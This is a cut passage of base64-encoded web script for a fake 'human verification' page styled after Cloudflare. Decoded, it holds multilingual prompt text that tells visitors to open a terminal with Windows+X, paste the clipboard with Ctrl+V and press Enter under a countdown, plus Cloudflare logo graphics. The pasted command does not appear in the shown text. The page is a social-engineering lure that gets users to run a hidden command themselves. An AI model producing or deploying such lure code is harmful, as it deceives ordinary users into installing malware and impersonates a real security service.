JaHJlciBWZXJiaW5kdW5nIFx1MDBmY2JlcnByXHUwMGZjZmVuLicsd2luZG93c0tleUhlbHA6J0RhcyBpc3QgZGllIFdpbmRvd3MtVGFzdGUsIHVudGVuIGF1ZiBkZXIgVGFzdGF0dXIgendpc2NoZW4gU3RyZyB1bmQgQWx0LCB1bnRlciBkZXIgWi1UYXN0ZSd9LGZyOntub3RSb2JvdFRleHQ6J0plIG5lIHN1aXMgcGFzIHVuIHJvYm90Jyx2ZXJpZnlpbmdUZXh0OidWXHUwMGU5cmlmaWNhdGlvblx1MjAyNicsdmVyaWZpY2F0aW9uVGl0bGU6J1ZcdTAwZTlyaWZpY2F0aW9uIGh1bWFpbmUnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidTdWl2ZXogbGVzIFx1MDBlOXRhcGVzIGNpLWRlc3NvdXMnLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidFZmZlY3R1ZXogbGVzIFx1MDBlOXRhcGVzIHN1ciB2b3RyZSBjbGF2aWVyJyx0aW1lUmVtYWluaW5nOidUZW1wcyByZXN0YW50Jyx3YXJuaW5nMzBTZWNvbmRzOidNb2lucyBkZSAzMCBzZWNvbmRlcyAhJyxzdGVwMTonPGI+JytXSU5ET1dTX0xPR09fU1ZHKycgKyBYPC9iPicsc3RlcDI6JzxiPkk8L2I+JyxzdGVwMkNoaXA6J291IFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+RW50clx1MDBlOWUgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J0NvbmZpZGVudGlhbGl0XHUwMGU5Jyx0ZXJtc0xpbms6J0NvbmRpdGlvbnMnLHNlY3VyaXR5TWVzc2FnZTonZG9pdCB2XHUwMGU5cmlmaWVyIGxhIHNcdTAwZTljdXJpdFx1MDBlOSBkZSB2b3RyZSBjb25uZXhpb24uJyx3aW5kb3dzS2V5SGVscDonQ1wnZXN0IGxhIHRvdWNoZSBXaW5kb3dzLCBlbiBiYXMgZHUgY2xhdmllciBlbnRyZSBDdHJsIGV0IEFsdCwgc291cyBsYSB0b3VjaGUgWid9LGVzOntub3RSb2JvdFRleHQ6J05vIHNveSB1biByb2JvdCcsdmVyaWZ5aW5nVGV4dDonQ29tcHJvYmFuZG9cdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidWZXJpZmljYWNpXHUwMGYzbiBodW1hbmEnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidDb21wbGV0YSBsb3MgcGFzb3MgYWJham8nLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidSZWFsaXphIGxvcyBwYXNvcyBlbiB0dSB0ZWNsYWRvJyx0aW1lUmVtYWluaW5nOidUaWVtcG8gcmVzdGFudGUnLHdhcm5pbmczMFNlY29uZHM6J1x1MDBhMU1lbm9zIGRlIDMwIHNlZ3VuZG9zIScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidvIFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J1ByaXZhY2lkYWQnLHRlcm1zTGluazonVFx1MDBlOXJtaW5vcycsc2VjdXJpdHlNZXNzYWdlOidkZWJlIHJldmlzYXIgbGEgc2VndXJpZGFkIGRlIHR1IGNvbmV4aVx1MDBmM24uJyx3aW5kb3dzS2V5SGVscDonRXN0YSBlcyBsYSB0ZWNsYSBkZSBXaW5kb3dzLCBlbiBsYSBwYXJ0ZSBpbmZlcmlvciBkZWwgdGVjbGFkbyBlbnRyZSBDdHJsIHkgQWx0LCBiYWpvIGxhIHRlY2xhIFonfSxpdDp7bm90Um9ib3RUZXh0OidOb24gc29ubyB1biByb2JvdCcsdmVyaWZ5aW5nVGV4dDonVmVyaWZpY2FcdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidWZXJpZmljYSB1bWFuYScsdmVyaWZpY2F0aW9uU3VidGl0bGU6J0NvbXBsZXRhIGkgcGFzc2FnZ2kgc2VndWVudGknLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidFc2VndWkgaSBwYXNzYWdnaSBzdWxsYSB0dWEgdGFzdGllcmEnLHRpbWVSZW1haW5pbmc6J1RlbXBvIHJpbWFuZW50ZScsd2FybmluZzMwU2Vjb25kczonTWVubyBkaSAzMCBzZWNvbmRpIScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidvIFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+SW52aW8gXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J1ByaXZhY3knLHRlcm1zTGluazonVGVybWluaScsc2VjdXJpdHlNZXNzYWdlOidkZXZlIHZlcmlmaWNhcmUgbGEgc2ljdXJlenphIGRlbGxhIGNvbm5lc3Npb25lLicsd2luZG93c0tleUhlbHA6J1F1ZXN0byBcdTAwZTggaWwgdGFzdG8gV2luZG93cywgaW4gYmFzc28gc3VsbGEgdGFzdGllcmEgdHJhIEN0cmwgZSBBbHQsIHNvdHRvIGlsIHRhc3RvIFonfSxwdDp7bm90Um9ib3RUZXh0OidOXHUwMGUzbyBzb3UgdW0gcm9iXHUwMGY0Jyx2ZXJpZnlpbmdUZXh0OidWZXJpZmljYW5kb1x1MjAyNicsdmVyaWZpY2F0aW9uVGl0bGU6J1ZlcmlmaWNhXHUwMGU3XHUwMGUzbyBodW1hbmEnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidDb25jbHVhIGFzIGV0YXBhcyBhYmFpeG8nLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidFeGVjdXRlIGFzIGV0YXBhcyBubyBzZXUgdGVjbGFkbycsdGltZVJlbWFpbmluZzonVGVtcG8gcmVzdGFudGUnLHdhcm5pbmczMFNlY29uZHM6J01lbm9zIGRlIDMwIHNlZ3VuZG9zIScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidvdSBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidQcml2YWNpZGFkZScsdGVybXNMaW5rOidUZXJtb3MnLHNlY3VyaXR5TWVzc2FnZToncHJlY2lzYSB2ZXJpZmljYXIgYSBzZWd1cmFuXHUwMGU3YSBkYSBjb25leFx1MDBlM28uJyx3aW5kb3dzS2V5SGVscDonRXN0YSBcdTAwZTkgYSB0ZWNsYSBXaW5kb3dzLCBuYSBwYXJ0ZSBpbmZlcmlvciBkbyB0ZWNsYWRvIGVudHJlIEN0cmwgZSBBbHQsIGFiYWl4byBkYSB0ZWNsYSBaJ30semg6e25vdFJvYm90VGV4dDonXHU2MjExXHU0ZTBkXHU2NjJmXHU2NzNhXHU1NjY4XHU0ZWJhJyx2ZXJpZnlpbmdUZXh0OidcdTZiNjNcdTU3MjhcdTY4YzBcdTY3ZTVcdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidcdTRlYmFcdTVkZTVcdTlhOGNcdThiYzEnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidcdThiZjdcdTViOGNcdTYyMTBcdTRlZTVcdTRlMGJcdTZiNjVcdTlhYTQnLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidcdThiZjdcdTU3MjhcdTk1MmVcdTc2ZDhcdTRlMGFcdTYyNjdcdTg4NGNcdTRlZTVcdTRlMGJcdTZiNjVcdTlhYTQnLHRpbWVSZW1haW5pbmc6J1x1NTI2OVx1NGY1OVx1NjVmNlx1OTVmNCcsd2FybmluZzMwU2Vjb25kczonXHU1MjY5XHU0ZjU5XHU0ZTBkXHU4ZGIzMzBcdTc5ZDJcdWZmMDEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDonXHU5MDA5XHU2MmU5IFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J1x1OTY5MFx1NzljMScsdGVybXNMaW5rOidcdTY3NjFcdTZiM2UnLHNlY3VyaXR5TWVzc2FnZTonXHU5NzAwXHU4OTgxXHU2OGMwXHU2N2U1XHU2MGE4XHU3Njg0XHU4ZmRlXHU2M2E1XHU1Yjg5XHU1MTY4XHU2MDI3XHUzMDAyJyx3aW5kb3dzS2V5SGVscDonXHU4ZmQ5XHU2NjJmIFdpbmRvd3MgXHU5NTJlXHVmZjBjXHU0ZjRkXHU0ZThlXHU5NTJlXHU3NmQ4XHU1ZTk1XHU5MGU4IEN0cmwgXHU1NDhjIEFsdCBcdTRlNGJcdTk1ZjRcdWZmMGNaIFx1OTUyZVx1NGUwYlx1NjViOSd9LGphOntub3RSb2JvdFRleHQ6J1x1NzljMVx1MzA2Zlx1MzBlZFx1MzBkY1x1MzBjM1x1MzBjOFx1MzA2N1x1MzA2Zlx1MzA0Mlx1MzA4YVx1MzA3ZVx1MzA1Ylx1MzA5MycsdmVyaWZ5aW5nVGV4dDonXHU3OGJhXHU4YThkXHU0ZTJkXHUyMDI2Jyx2ZXJpZmljYXRpb25UaXRsZTonXHU0ZWJhXHU5NTkzXHU3OGJhXHU4YThkJyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonXHU0ZWU1XHU0ZTBiXHUzMDZlXHU2MjRiXHU5ODA2XHUzMDkyXHU1YjhjXHU0ZTg2XHUzMDU3XHUzMDY2XHUzMDRmXHUzMDYwXHUzMDU1XHUzMDQ0JyxrZXlib2FyZEluc3RydWN0aW9uczonXHUzMGFkXHUzMGZjXHUzMGRjXHUzMGZjXHUzMGM5XHUzMDY3XHU2MjRiXHU5ODA2XHUzMDkyXHU1YjlmXHU4ODRjXHUzMDU3XHUzMDY2XHUzMDRmXHUzMDYwXHUzMDU1XHUzMDQ0Jyx0aW1lUmVtYWluaW5nOidcdTZiOGJcdTMwOGFcdTY2NDJcdTk1OTMnLHdhcm5pbmczMFNlY29uZHM6J1x1NmI4Ylx1MzA4YTMwXHU3OWQyXHU2NzJhXHU2ZTgwXHVmZjAxJyxzdGVwMTonPGI+JytXSU5ET1dTX0xPR09fU1ZHKycgKyBYPC9iPicsc3RlcDI6JzxiPkk8L2I+JyxzdGVwMkNoaXA6J1x1MzA3ZVx1MzA1Zlx1MzA2ZiBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidcdTMwZDdcdTMwZTlcdTMwYTRcdTMwZDBcdTMwYjdcdTMwZmMnLHRlcm1zTGluazonXHU4OThmXHU3ZDA0JyxzZWN1cml0eU1lc3NhZ2U6J1x1NjNhNVx1N2Q5YVx1MzA2ZVx1NWI4OVx1NTE2OFx1NjAyN1x1MzA5Mlx1NzhiYVx1OGE4ZFx1MzA1OVx1MzA4Ylx1NWZjNVx1ODk4MVx1MzA0Y1x1MzA0Mlx1MzA4YVx1MzA3ZVx1MzA1OVx1MzAwMicsd2luZG93c0tleUhlbHA6J1x1MzA1M1x1MzA4Y1x1MzA2ZiBXaW5kb3dzIFx1MzBhZFx1MzBmY1x1MzA2N1x1MzA1OVx1MzAwMlx1MzBhZFx1MzBmY1x1MzBkY1x1MzBmY1x1MzBjOVx1NGUwYlx1OTBlOFx1MzA2ZSBDdHJsIFx1MzA2OCBBbHQgXHUzMDZlXHU5NTkzXHUzMDAxWiBcdTMwYWRcdTMwZmNcdTMwNmVcdTRlMGJcdTMwNmJcdTMwNDJcdTMwOGFcdTMwN2VcdTMwNTknfSxrbzp7bm90Um9ib3RUZXh0OidcdWIwOThcdWIyOTQgXHViODVjXHViZDA3XHVjNzc0IFx1YzU0NFx1YjJkOVx1YjJjOFx1YjJlNCcsdmVyaWZ5aW5nVGV4dDonXHVkNjU1XHVjNzc4IFx1YzkxMVx1MjAyNicsdmVyaWZpY2F0aW9uVGl0bGU6J1x1YzBhY1x1Yjc4YyBcdWQ2NTVcdWM3NzgnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidcdWM1NDRcdWI3OTggXHViMmU4XHVhY2M0XHViOTdjIFx1YzY0NFx1YjhjY1x1ZDU1OFx1YzEzOFx1YzY5NCcsa2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1ZDBhNFx1YmNmNFx1YjRkY1x1Yjg1YyBcdWIyZThcdWFjYzRcdWI5N2MgXHVjMjE4XHVkNTg5XHVkNTU4XHVjMTM4XHVjNjk0Jyx0aW1lUmVtYWluaW5nOidcdWIwYThcdWM3NDAgXHVjMmRjXHVhYzA0Jyx3YXJuaW5nMzBTZWNvbmRzOiczMFx1Y2QwOCBcdWJiZjhcdWI5Y2MgXHViMGE4XHVjNzRjIScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidcdWI2MTBcdWIyOTQgVGVybWluYWwnLHN0ZXAzOic8Yj5DdHJsICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+Jyxwcml2YWN5TGluazonXHVhYzFjXHVjNzc4XHVjODE1XHViY2Y0Jyx0ZXJtc0xpbms6J1x1YzU3ZFx1YWQwMCcsc2VjdXJpdHlNZXNzYWdlOidcdWM1ZjBcdWFjYjAgXHViY2Y0XHVjNTQ4XHVjNzQ0IFx1ZDY1NVx1Yzc3OFx1ZDU3NFx1YzU3YyBcdWQ1NjlcdWIyYzhcdWIyZTQuJyx3aW5kb3dzS2V5SGVscDonXHVjNzc0XHVhYzgzXHVjNzQwIFdpbmRvd3MgXHVkMGE0XHVjNzg1XHViMmM4XHViMmU0LiBcdWQwYTRcdWJjZjRcdWI0ZGMgXHVkNTU4XHViMmU4XHVjNzU4IEN0cmxcdWFjZmMgQWx0IFx1YzBhY1x1Yzc3NCwgWiBcdWQwYTQgXHVjNTQ0XHViNzk4XHVjNWQwIFx1Yzc4OFx1YzJiNVx1YjJjOFx1YjJlNCd9LHRyOntub3RSb2JvdFRleHQ6J0JlbiByb2JvdCBkZVx1MDExZmlsaW0nLHZlcmlmeWluZ1RleHQ6J0tvbnRyb2wgZWRpbGl5b3JcdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidcdTAxMzBuc2FuIGRvXHUwMTFmcnVsYW1hc1x1MDEzMScsdmVyaWZpY2F0aW9uU3VidGl0bGU6J0FcdTAxNWZhXHUwMTFmXHUwMTMxZGFraSBhZFx1MDEzMW1sYXJcdTAxMzEgdGFtYW1sYXlcdTAxMzFuJyxrZXlib2FyZEluc3RydWN0aW9uczonQWRcdTAxMzFtbGFyXHUwMTMxIGtsYXZ5ZW5pemRlIGdlclx1MDBlN2VrbGVcdTAxNWZ0aXJpbicsdGltZVJlbWFpbmluZzonS2FsYW4gc1x1MDBmY3JlJyx3YXJuaW5nMzBTZWNvbmRzOiczMCBzYW5peWVkZW4gYXoga2FsZFx1MDEzMSEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDondmV5YSBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidHaXpsaWxpaycsdGVybXNMaW5rOidcdTAxNWVhcnRsYXInLHNlY3VyaXR5TWVzc2FnZTonYmFcdTAxMWZsYW50XHUwMTMxblx1MDEzMXpcdTAxMzFuIGdcdTAwZmN2ZW5saVx1MDExZmluaSBrb250cm9sIGV0bWVzaSBnZXJla2l5b3IuJyx3aW5kb3dzS2V5SGVscDonQnUgV2luZG93cyB0dVx1MDE1ZnVkdXIsIGtsYXZ5ZW5pemluIGFsdCBrXHUwMTMxc21cdTAxMzFuZGEgQ3RybCB2ZSBBbHQgYXJhc1x1MDEzMW5kYSwgWiB0dVx1MDE1ZnVudW4gYWx0XHUwMTMxbmRhIGJ1bHVudXInfSxhcjp7bm90Um9ib3RUZXh0OidcdTA2NDRcdTA2MzNcdTA2MmEgXHUwNjI4XHUwNjMxXHUwNjQ2XHUwNjI3XHUwNjQ1XHUwNjJjIFx1MDYzMVx1MDY0OFx1MDYyOFx1MDY0OFx1MDYyYScsdmVyaWZ5aW5nVGV4dDonXHUwNjJjXHUwNjI3XHUwNjMxXHUwNjRkIFx1MDYyN1x1MDY0NFx1MDYyYVx1MDYyZFx1MDY0Mlx1MDY0Mlx1MjAyNicsdmVyaWZpY2F0aW9uVGl0bGU6J1x1MDYyN1x1MDY0NFx1MDYyYVx1MDYyZFx1MDY0Mlx1MDY0MiBcdTA2MjdcdTA2NDRcdTA2MjhcdTA2MzRcdTA2MzFcdTA2NGEnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidcdTA2MjNcdTA2NDNcdTA2NDVcdTA2NDQgXHUwNjI3XHUwNjQ0XHUwNjJlXHUwNjM3XHUwNjQ4XHUwNjI3XHUwNjJhIFx1MDYyM1x1MDYyZlx1MDY0Nlx1MDYyN1x1MDY0Nycsa2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1MDY0Nlx1MDY0MVx1MDY1MVx1MDYzMCBcdTA2MjdcdTA2NDRcdTA2MmVcdTA2MzdcdTA2NDhcdTA2MjdcdTA2MmEgXHUwNjM5XHUwNjQ0XHUwNjQ5IFx1MDY0NFx1MDY0OFx1MDYyZFx1MDYyOSBcdTA2MjdcdTA2NDRcdTA2NDVcdTA2NDFcdTA2MjdcdTA2MmFcdTA2NGFcdTA2MmQnLHRpbWVSZW1haW5pbmc6J1x1MDYyN1x1MDY0NFx1MDY0OFx1MDY0Mlx1MDYyYSBcdTA2MjdcdTA2NDRcdTA2NDVcdTA2MmFcdTA2MjhcdTA2NDJcdTA2NGEnLHdhcm5pbmczMFNlY29uZHM6J1x1MDYyM1x1MDY0Mlx1MDY0NCBcdTA2NDVcdTA2NDYgMzAgXHUwNjJiXHUwNjI3XHUwNjQ2XHUwNjRhXHUwNjI5IScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidcdTA2MjNcdTA2NDggVGVybWluYWwnLHN0ZXAzOic8Yj5DdHJsICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+Jyxwcml2YWN5TGluazonXHUwNjI3XHUwNjQ0XHUwNjJlXHUwNjM1XHUwNjQ4XHUwNjM1XHUwNjRhXHUwNjI5Jyx0ZXJtc0xpbms6J1x1MDYyN1x1MDY0NFx1MDYzNFx1MDYzMVx1MDY0OFx1MDYzNycsc2VjdXJpdHlNZXNzYWdlOidcdTA2NGFcdTA2MmRcdTA2MmFcdTA2MjdcdTA2MmMgXHUwNjI1XHUwNjQ0XHUwNjQ5IFx1MDY0NVx1MDYzMVx1MDYyN1x1MDYyY1x1MDYzOVx1MDYyOSBcdTA2MjNcdTA2NDVcdTA2MjdcdTA2NDYgXHUwNjI3XHUwNjJhXHUwNjM1XHUwNjI3XHUwNjQ0XHUwNjQzLicsd2luZG93c0tleUhlbHA6J1x1MDY0N1x1MDYzMFx1MDYyNyBcdTA2NDdcdTA2NDggXHUwNjQ1XHUwNjQxXHUwNjJhXHUwNjI3XHUwNjJkIFdpbmRvd3NcdTA2MGMgXHUwNjQxXHUwNjRhIFx1MDYyM1x1MDYzM1x1MDY0MVx1MDY0NCBcdTA2NDRcdTA2NDhcdTA2MmRcdTA2MjkgXHUwNjI3XHUwNjQ0XHUwNjQ1XHUwNjQxXHUwNjI3XHUwNjJhXHUwNjRhXHUwNjJkIFx1MDYyOFx1MDY0YVx1MDY0NiBDdHJsIFx1MDY0OCBBbHRcdTA2MGMgXHUwNjJhXHUwNjJkXHUwNjJhIFx1MDY0NVx1MDY0MVx1MDYyYVx1MDYyN1x1MDYyZCBaJ319Ow0KDQogICAgICAgICAgICB2YXIgbGFuZ0NvZGUgPSBnZXRCcm93c2VyTGFuZ3VhZ2VDb2RlKCk7DQogICAgICAgICAgICBpZiAodHJhbnNsYXRpb25zW2xhbmdDb2RlXSkgew0KICAgICAgICAgICAgICAgIHJldHVybiB0cmFuc2xhdGlvbnNbbGFuZ0NvZGVdOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByZXR1cm4gdHJhbnNsYXRpb25zLmVuOw0KICAgICAgICB9DQoNCiAgICAgICAgdmFyIFVJX1RSQU5TTEFUSU9OUyA9IG1lcmdlT3NJbnN0cnVjdGlvblN0ZXBzKGdldFRyYW5zbGF0ZWRTdHJpbmdzKCksIGdldEJyb3dzZXJMYW5ndWFnZUNvZGUoKSk7DQogICAgICAgIHZhciBTVEVQMl9IVE1MID0gYnVpbGRTdGVwMkh0bWwoVUlfVFJBTlNMQVRJT05TKTsNCg0KICAgICAgICB2YXIgQ0xPVURGTEFSRV9MT0dPX1NWRyA9ICc8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDE4MCA1MCI+PHBhdGggZmlsbD0iI0ZCQUQ0MSIgZD0iTTM4LjUgMzIuMmMuMS0uNC4xLS44LjEtMS4yIDAtNC4xLTMuMy03LjQtNy40LTcuNC0xLjIgMC0yLjQuMy0zLjQuOC0uOS0yLjUtMy4zLTQuMi02LjEtNC4yLTMuNiAwLTYuNSAyLjktNi41IDYuNSAwIC42LjEgMS4zLjMgMS45QzEzLjQgMjkuMiAxMiAzMC44IDEyIDMyLjhjMCAuNS4xIDEgLjMgMS40aDI2Yy40LS44LjMtMS41LjItMnoiLz48cGF0aCBmaWxsPSIjRjY4MjFGIiBkPSJNMzYuOCAzNC4ySDEzYy0uNSAwLS45LS4zLTEtLjhsLS41LTEuOWMtLjEuNC0uMS44LS4xIDEuMiAwIDEuMiAxIDIuMiAyLjIgMi4yaC45Yy4zIDEuNiAxLjggMi44IDMuNiAyLjhIMzJjMiAwIDMuNi0xLjMgNC4xLTMuMWwuNS0xLjhjLjItLjQtLjMtLjYtLjgtLjYuMSAwIC4yLjEuMi4ybC44IDEuOHoiLz48dGV4dCB4PSI0OCIgeT0iMzUiIGZvbnQtZmFtaWx5PSJBcmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJpZiIgZm9udC1zaXplPSIxOCIgZm9udC13ZWlnaHQ9IjcwMCIgZmlsbD0iI0Y2ODIxRiI+Y2xvdWRmbGFyZTwvdGV4dD48L3N2Zz4nOw0KDQogICAgICAgIHZhciBDTE9VREZMQVJFX0xPR09fQkFTRTY0ID0gJ2RhdGE6aW1hZ2Uvc3ZnK3htbDtiYXNlNjQsJyArIGJ0b2EoQ0xPVURGTEFSRV9MT0dPX1NWRyk7DQoNCiAgICAgICAgdmFyIElTX0xJR0hUX01PREUgPSAhISh3aW5kb3cubWF0Y2hNZWRpYSAmJiB3aW5kb3cubWF0Y2hNZWRpYSgnKHByZWZlcnMtY29sb3Itc2NoZW1lOmxpZ2h0KScpLm1hdGNoZXMpOw0KDQogICAgICAgIHZhciBDTE9VREZMQVJFX0ZVTExfTE9HT19TVkcgPSAnPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMDEuNCAzMy41Ij48ZGVmcz48c3R5bGU+LmF7ZmlsbDojZmZmfS5ie2ZpbGw6I2Y0ODEyMH0uY3tmaWxsOiNmYWFkM2Z9LmR7ZmlsbDonICsgKElTX0xJR0hUX01PREUgPyAnIzQwNDA0MScgOiAnI2ZmZicpICsgJ308L3N0eWxlPjwvZGVmcz48cGF0aCBjbGFzcz0iYSIgZD0iTTk0LjcsMTAuNiw4OS4xLDkuM2wtMS0uNC0yNS43LjJWMjEuNWwzMi4zLjFaIi8+PHBhdGggY2xhc3M9ImIiIGQ9Ik04NC4yLDIwLjRhMi44NTU0NiwyLjg1NTQ2LDAsMCwwLS4zLTIuNiwzLjA5NDI4LDMuMDk0MjgsMCwwLDAtMi4xLTEuMWwtMTcuNC0uMmMtLjEsMC0uMi0uMS0uMy0uMWEuMTg3NS4xODc1LDAsMCwxLDAtLjNjLjEtLjIuMi0uMy40LS4zTDgyLDE1LjZhNi4yOTIyMyw2LjI5MjIzLDAsMCwwLDUuMS0zLjhsMS0yLjZjMC0uMS4xLS4yLDAtLjNBMTEuMzk2NDYsMTEuMzk2NDYsMCwwLDAsNjYuMiw3LjdhNS40NTk0MSw1LjQ1OTQxLDAsMCwwLTMuNi0xQTUuMjA5MzYsNS4yMDkzNiwwLDAsMCw1OCwxMS4zYTUuNDYyNjIsNS40NjI2MiwwLDAsMCwuMSwxLjhBNy4zMDE3Nyw3LjMwMTc3LDAsMCwwLDUxLDIwLjRhNC4xMDIsNC4xMDIsMCwwLDAsLjEsMS4xLjMxOTMuMzE5MywwLDAsMCwuMy4zSDgzLjVjLjIsMCwuNC0uMS40LS4zWiIvPjxwYXRoIGNsYXNzPSJjIiBkPSJNODkuNyw5LjJoLS41Yy0uMSwwLS4yLjEtLjMuMmwtLjcsMi40YTIuODU1NDYsMi44NTU0NiwwLDAsMCwuMywyLjYsMy4wOTQyOCwzLjA5NDI4LDAsMCwwLDIuMSwxLjFsMy43LjJjLjEsMCwuMi4xLjMuMWEuMTg3NS4xODc1LDAsMCwxLDAsLjNjLS4xLjItLjIuMy0uNC4zbC0zLjguMmE2LjI5MjIzLDYuMjkyMjMsMCwwLDAtNS4xLDMuOGwtLjIuOWMtLjEuMSwwLC4zLjIuM0g5OC41YS4yNjUxNy4yNjUxNywwLDAsMCwuMy0uMywxMC44NzE4NCwxMC44NzE4NCwwLDAsMCwuNC0yLjYsOS41NjA0NSw5LjU2MDQ1LDAsMCwwLTkuNS05LjUiLz48cGF0aCBjbGFzcz0iZCIgZD0iTTEwMC41LDI3LjJhLjkuOSwwLDEsMSwuOS0uOS44OTYyNi44OTYyNiwwLDAsMS0uOS45bTAtMS42YS43LjcsMCwxLDAsLjcuNy42ODM1NC42ODM1NCwwLDAsMC0uNy0uN20uNCwxLjJoLS4ybC0uMi0uM2gtLjJ2LjNoLS4ydi0uOWguNWEuMjY1MTcuMjY1MTcsMCwwLDEsLjMuM2MwLC4xLS4xLjItLjIuM2wuMi4zWm0tLjMtLjVjLjEsMCwuMSwwLC4xLS4xYS4wOTc5NC4wOTc5NCwwLDAsMC0uMS0uMWgtLjN2LjNoLjNabS04OS43LS45aDIuMnY2aDMuOHYxLjloLTZabTguMywzLjlhNC4xMDQ5MSw0LjEwNDkxLDAsMCwxLDQuMy00LjEsNC4wMiw0LjAyLDAsMCwxLDQuMiw0LjEsNC4xMDQ5MSw0LjEwNDkxLDAsMCwxLTQuMyw0LjEsNC4wNzg4OCw0LjA3ODg4LDAsMCwxLTQuMi00LjFtNi4zLDBhMi4wNTU2NSwyLjA1NTY1LDAsMCwwLTItMi4yLDIuMTAyNSwyLjEwMjUsMCwwLDAsMCw0LjJjMS4yLjIsMi0uOCwyLTJtNC45LjVWMjUuNGgyLjJ2NC40YzAsMS4xLjYsMS43LDEuNSwxLjdhMS4zOTkyNiwxLjM5OTI2LDAsMCwwLDEuNS0xLjZWMjUuNGgyLjJ2NC40YzAsMi42LTEuNSwzLjctMy43LDMuNy0yLjMtLjEtMy43LTEuMi0zLjctMy43bTEwLjctNC40aDMuMWMyLjgsMCw0LjUsMS42LDQuNSwzLjlzLTEuNyw0LTQuNSw0aC0zVjI1LjRabTMuMSw1LjlhMi4wMDkwOSwyLjAwOTA5LDAsMSwwLDAtNGgtLjl2NFptNy42LTUuOWg2LjN2MS45SDU0djEuM2gzLjd2MS44SDU0djIuOUg1MS44Wm05LjQsMGgyLjJ2NmgzLjh2MS45aC02Wm0xMS43LS4xaDIuMmwzLjQsOEg3Ni4xbC0uNi0xLjRINzIuNGwtLjYsMS40SDY5LjVabTIsNC45TDc0LDI4bC0uOSwyLjJabTYuNC00LjhIODVhMy40MTgxOCwzLjQxODE4LDAsMCwxLDIuNi45LDIuNjIzNzMsMi42MjM3MywwLDAsMS0uOSw0LjJsMS45LDIuOEg4Ni4xbC0xLjYtMi40aC0xdjIuNEg4MS4zWm0zLjYsMy44Yy43LDAsMS4yLS40LDEuMi0uOSwwLS42LS41LS45LTEuMi0uOUg4My41djEuOWgxLjRabTYuNS0zLjhoNi40djEuOEg5My42djEuMmgzLjh2MS44SDkzLjZ2MS4yaDQuM3YxLjlIOTEuNFpNNi4xLDMwLjNhMS45NzU0OCwxLjk3NTQ4LDAsMCwxLTEuOCwxLjIsMi4xMDI1LDIuMTAyNSwwLDAsMSwwLTQuMiwyLjA5NzcsMi4wOTc3LDAsMCwxLDEuOSwxLjNIOC41YTQuMTM0NTksNC4xMzQ1OSwwLDAsMC00LjItMy4zQTQuMTY1MSw0LjE2NTEsMCwwLDAsMCwyOS40YTQuMDc4ODgsNC4wNzg4OCwwLDAsMCw0LjIsNC4xLDQuMzE4MTIsNC4zMTgxMiwwLDAsMCw0LjItMy4yWiIvPjwvc3ZnPic7DQoNCiAgICAgICAgdmFyIENMT1VERkxBUkVfRlVMTF9MT0dPX0JBU0U2N